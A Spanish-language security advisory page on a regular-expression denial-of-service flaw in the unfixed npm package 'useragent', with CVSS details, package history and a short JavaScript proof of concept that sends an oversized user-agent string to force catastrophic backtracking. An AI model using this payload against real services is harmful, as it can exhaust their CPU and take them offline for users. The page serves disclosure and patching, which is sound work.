Media

useragent Regular Expression Denial of Service vulnerability

Publicada: 26.10.2024
Actualizado: 11.10.2026 10:22

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC

async function exploit() {
   const useragent = require(\"useragent\");

   // Create a malicious user-agent that leads to excessive backtracking
   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';

   // Parse the malicious user-agent
   const agent = useragent.parse(maliciousUserAgent);

   // Call the toString method to trigger the vulnerability
   const result = await agent.device.toString();
   console.log(result);
}

await exploit();

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

Plataforma	Paquete	Versiones vulnerables	Corregida en
Paquete de npm	useragent	<= 2.3.0	sin corrección

Referencias

Puntuación CVSS 7.5/10

Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE): CWE-1333
Plataforma: npm
Paquete: useragent
Publicada: 26.10.2024
Actualizado: 11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-mgfv-m47x-4wqp - CC BY 4.0

Historial de vulnerabilidades: useragent

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total: 2
Primera → última: 07.2018 10.2024
Sin corrección: 1
Explotada en ataques: 0

Distribución por gravedad

Alta 1
Media 1

Divulgaciones por año

2018: 1
2019: 0
2020: 0
2021: 0
2022: 0
2023: 0
2024: 1
2025: 0
2026: 0

26.10.2024

useragent Regular Expression Denial of Service vulnerability esta entrada

Media · 7.5 CVE-2020-26311 <= 2.3.0 sin corrección
24.07.2018

ReDoS via long UserAgent header in useragent

Alta CVE-2017-16030 < 2.1.13 2.1.13

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación